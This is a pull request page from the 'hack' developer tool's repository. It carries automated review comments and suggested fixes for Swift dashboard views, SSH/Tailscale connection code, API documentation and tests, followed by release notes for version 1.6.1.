runtimeServicesByName,serviceHostsByName,serviceHostLabel(for:), andopenServiceHost(_:)have identical implementations in both files. Consider extracting them into a shared extension (e.g., onProjectSummary) or a utility to avoid maintenance drift.src/commands/ssh.ts (2)
196-206:opts.hostOverrideis alwaysundefinedin the tailscale branch — dead fallback.Line 186 routes any truthy
hostOverrideinto the direct-SSH path, so by the time we reach line 204,opts.hostOverrideis guaranteed to beundefined. The??fallback is misleading and suggests the author intended host-override support for tailscale connections. If that's not the intent, simplify to justresult.hostname.Suggested fix
return { ok: true, method: "tailscale", - hostname: opts.hostOverride ?? result.hostname, + hostname: result.hostname, };
393-403: RedundantvalidateTailscaleSetupcall when Tailscale was already running.When
tailscaleReadyistrueon the first check (line 355), theif (!tailscaleReady)block is skipped entirely, yet line 395 callsvalidateTailscaleSetup()a third time just to re-readdnsName. You could capturednsNamefrom the initialvalidation(line 346) and only re-fetch after thetailscale uppath.Suggested refactor
- const currentStatus = (await validateTailscaleSetup()).status; - const hostname = currentStatus.dnsName; + const finalStatus = tailscaleReady + ? status + : (await validateTailscaleSetup()).status; + const hostname = finalStatus.dnsName;
| Divider() | ||
| .opacity(0.2) | ||
| VStack(alignment: .leading, spacing: 8) { | ||
| Text("Variables") | ||
| .instrumentLabel() | ||
| ForEach(limited(meta.env.vars, limit: 12)) { variable in | ||
| envVarRow(variable) | ||
| Divider() | ||
| .opacity(0.2) | ||
| } | ||
| let hiddenCount = max(0, meta.env.vars.count - 12) | ||
| if hiddenCount > 0 { | ||
| Text("+\(hiddenCount) more") | ||
| .font(.mono(.caption2)) | ||
| .foregroundStyle(.secondary) | ||
| } | ||
| } |
There was a problem hiding this comment.
"Variables" section renders an orphaned header when meta.env.vars is empty.
The divider and "Variables" label on lines 587–591 are shown unconditionally. When there are no vars, this produces a section header with no content. Wrap in an if !meta.env.vars.isEmpty guard, consistent with how other sections in this file handle empty data.
🛠️ Proposed fix
- Divider()
- .opacity(0.2)
- VStack(alignment: .leading, spacing: 8) {
- Text("Variables")
- .instrumentLabel()
- ForEach(limited(meta.env.vars, limit: 12)) { variable in
- envVarRow(variable)
- Divider()
- .opacity(0.2)
- }
- let hiddenCount = max(0, meta.env.vars.count - 12)
- if hiddenCount > 0 {
- Text("+\(hiddenCount) more")
- .font(.mono(.caption2))
- .foregroundStyle(.secondary)
+ if !meta.env.vars.isEmpty {
+ Divider()
+ .opacity(0.2)
+ VStack(alignment: .leading, spacing: 8) {
+ Text("Variables")
+ .instrumentLabel()
+ ForEach(limited(meta.env.vars, limit: 12)) { variable in
+ envVarRow(variable)
+ Divider()
+ .opacity(0.2)
+ }
+ let hiddenCount = max(0, meta.env.vars.count - 12)
+ if hiddenCount > 0 {
+ Text("+\(hiddenCount) more")
+ .font(.mono(.caption2))
+ .foregroundStyle(.secondary)
+ }
}
}📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| Divider() | |
| .opacity(0.2) | |
| VStack(alignment: .leading, spacing: 8) { | |
| Text("Variables") | |
| .instrumentLabel() | |
| ForEach(limited(meta.env.vars, limit: 12)) { variable in | |
| envVarRow(variable) | |
| Divider() | |
| .opacity(0.2) | |
| } | |
| let hiddenCount = max(0, meta.env.vars.count - 12) | |
| if hiddenCount > 0 { | |
| Text("+\(hiddenCount) more") | |
| .font(.mono(.caption2)) | |
| .foregroundStyle(.secondary) | |
| } | |
| } | |
| if !meta.env.vars.isEmpty { | |
| Divider() | |
| .opacity(0.2) | |
| VStack(alignment: .leading, spacing: 8) { | |
| Text("Variables") | |
| .instrumentLabel() | |
| ForEach(limited(meta.env.vars, limit: 12)) { variable in | |
| envVarRow(variable) | |
| Divider() | |
| .opacity(0.2) | |
| } | |
| let hiddenCount = max(0, meta.env.vars.count - 12) | |
| if hiddenCount > 0 { | |
| Text("+\(hiddenCount) more") | |
| .font(.mono(.caption2)) | |
| .foregroundStyle(.secondary) | |
| } | |
| } | |
| } |
🤖 Prompt for AI Agents
In
`@apps/macos/Packages/Features/DashboardFeature/Sources/DashboardFeature/ProjectInspectorColumn.swift`
around lines 587 - 603, The "Variables" header and leading Divider are rendered
even when meta.env.vars is empty; wrap the entire block that starts with the
Divider() and the VStack (the Text("Variables"), ForEach(limited(meta.env.vars,
limit: 12)) { variable in envVarRow(variable) ... }, hiddenCount logic) in an if
!meta.env.vars.isEmpty guard so the Divider, label, ForEach, envVarRow and "+N
more" text only render when meta.env.vars has elements (refer to meta.env.vars,
envVarRow, and limited(...) in ProjectInspectorColumn.swift).
| | `image` | string or null | Container image | | ||
| | `ip` | string or null | Container IP address | | ||
| | `mounts` | RuntimeMount[] | Volume/bind mounts | | ||
| | `labels` | object | Container labels | |
There was a problem hiding this comment.
🧩 Analysis chain
🏁 Script executed:
rg -n 'RuntimeMount' --type=ts -C3Repository: hack-dance/hack
Length of output: 1971
🏁 Script executed:
cat docs/gateway-api.md | sed -n '469,564p'Repository: hack-dance/hack
Length of output: 3264
Add RuntimeMount schema definition to docs.
Line 553 references RuntimeMount[] for the mounts field, but the RuntimeMount schema is not defined in the Schemas section. API consumers won't know the structure of mount objects. The type should be documented as:
| Field | Type | Description |
|---|---|---|
source |
string or null | Mount source path |
destination |
string or null | Mount destination path |
🤖 Prompt for AI Agents
In `@docs/gateway-api.md` around lines 551 - 554, Add a new Schema entry named
RuntimeMount in the Schemas section and document the structure referenced by the
mounts field: define RuntimeMount with two properties, source (string or null)
and destination (string or null), each with the given descriptions ("Mount
source path" and "Mount destination path"); ensure the existing table row that
lists mounts as RuntimeMount[] (the mounts field) clearly references this new
RuntimeMount schema so API consumers can see the object shape.
| /** Valid session name pattern: alphanumeric, dash, underscore */ | ||
| const SESSION_NAME_PATTERN = /^[\w-]+$/; |
There was a problem hiding this comment.
Stale comment: mentions "dot" but pattern excludes it.
Line 12 correctly says "alphanumeric, dash, underscore", but line 392 still says "alphanumeric, dash, underscore, dot". The regex /^[\w-]+$/ does not allow dots.
Proposed fix
- // Validate session name (alphanumeric, dash, underscore, dot)
+ // Validate session name (alphanumeric, dash, underscore)Also applies to: 392-398
🤖 Prompt for AI Agents
In `@src/daemon/routes/sessions.ts` around lines 12 - 13, The comment describing
valid session name characters is out of sync with the regex SESSION_NAME_PATTERN
(/^[\w-]+$/) — the code disallows dots but the comment still lists "dot"; update
all comments that describe the pattern (the one adjacent to SESSION_NAME_PATTERN
and the later explanatory comment that mentions allowed characters) to match the
actual regex (alphanumeric, dash, underscore) or alternatively modify
SESSION_NAME_PATTERN if dots should be allowed; ensure the symbol
SESSION_NAME_PATTERN is the source of truth and comments reflect its behavior.
There was a problem hiding this comment.
Actionable comments posted: 1
🤖 Fix all issues with AI agents
In `@tests/runtime-cache.test.ts`:
- Around line 159-164: The mock resolveProjectMeta currently returns only {
projectName } which fails TypeScript because ProjectMeta requires git,
hackBranches, env, sessions, and composeBuild; update the mock
resolveProjectMeta to either cast the return to ProjectMeta (e.g., as unknown as
ProjectMeta) or, preferably, return a structurally valid ProjectMeta object
including projectName plus concrete/default values for git (GitMeta),
hackBranches (HackBranchesMeta), env (EnvMeta), sessions (SessionsMeta), and
composeBuild (ComposeBuildMeta); keep the existing error throw for
opts.projectName === "bad" intact and ensure the async function signature still
resolves to ProjectMeta.
🧹 Nitpick comments (1)
src/daemon/runtime-cache.ts (1)
266-269: Consider potential index mismatch betweenviewsandmetasarrays.When
includeMetaistrue, themetasarray is built fromviews.map(...), so the indices align withviews. The?? nullfallback handles the case wheremetas[i]isundefined(e.g., ifincludeMetaisfalseandmetasis empty). This is correct as-is, but worth noting: the correctness depends onmetasbeing produced from the sameviewsarray used on line 266. If future refactoring changes one mapping but not the other, the index coupling would silently break. AMap<string, ProjectMeta>keyed by project name would be more resilient, though not essential right now.
## <small>1.6.1 (2026-02-13)</small> * Audit large repo changes ([a2d2788](a2d2788)) * Find Xcode simulator skill ([60d9ef9](60d9ef9)) * Find Xcode simulator skill ([8bc37b2](8bc37b2)) * Fix project pill layout and tabs ([750682c](750682c)) * Fix review-agent findings ([8cad0ee](8cad0ee)) * Fix ticket card layout and startup ([9b16700](9b16700)) * Fix ticket card layout and startup ([ffb1958](ffb1958)) * Merge main into review-session-management-workflow ([17636d9](17636d9)) * Merge pull request #8 from hack-dance/review-session-management-workflow ([6760c72](6760c72)), closes [#8](#8) * Merge pull request #9 from hack-dance/app-updates ([c30a589](c30a589)), closes [#9](#9) * Merge remote-tracking branch 'origin/app-updates' into app-updates ([031a226](031a226)) * Restore global terminal panel ([d7bf346](d7bf346)) * Update CLI docs and commands ([faeb629](faeb629)) * fix: address PR review findings and stabilize builds ([07c21ea](07c21ea)) * fix: resolve rebase integration regressions ([e1c5cce](e1c5cce)) * fix(macos): resolve dashboard model mismatch build break ([f229ffa](f229ffa)) * fix(macos): stabilize status strip identity and labels ([8d2ab8c](8d2ab8c)) * test: cover runtime meta failures ([c2b56f6](c2b56f6)) * test: satisfy ProjectMeta type ([5ae817a](5ae817a)) * chore(macos): add SwiftUI previews + force setup flag ([56d4386](56d4386))
1 participant
Summary by CodeRabbit
New Features
Documentation
Tests